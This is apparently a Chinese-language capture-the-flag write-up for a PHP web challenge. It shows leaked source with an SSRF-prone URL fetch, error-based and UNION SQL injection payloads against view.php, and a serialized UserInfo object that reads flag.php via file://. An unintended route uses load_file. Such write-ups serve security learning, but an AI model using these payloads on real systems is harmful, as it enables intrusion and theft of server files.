• 可以扫到robots.txt, login.php, flag.php
  • robots.txt 中发现一个user.php.bak,代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}

怀疑博客地址那里可以ssrf

预期解

  • view.php存在报错注入
    1
    view.php?no=1 and updatexml(1,concat(1,(SELECT database())),1) #
  • 可以发现users表中存储了UserInfo类反序列化后的结果
  • 利用union联合注入使得查询到的语句是我们想要的反序列化值,在博客地址那里构造file协议读取flag.php
  • 得到反序列化值:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    <?php
    class UserInfo
    {
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
    $this->name = $name;
    $this->age = (int)$age;
    $this->blog = $blog;
    }

    function get($url)
    {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if($httpCode == 404) {
    return 404;
    }
    curl_close($ch);

    return $output;
    }

    public function getBlogContents ()
    {
    return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
    $blog = $this->blog;
    return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
    }

    $a = new UserInfo('fuck','0','file:///var/www/html/flag.php');
    echo serialize($a);
    ?>
  • 联合注入
    1
    view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"fuck";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #
    查看源代码得到base64编码的flag.php

非预期解

  • 直接去读flag.php
    1
    view.php?no=1 and updatexml(1,concat(1,(SELECT load_file('/var/www/html/flag.php'))),1) #
  • updatexml有长度限制,可以用substring分批读取,即可读到flag
    1
    view.php?no=1 and updatexml(1,concat(1,(SELECT substring(load_file('/var/www/html/flag.php'),10,30))),1) #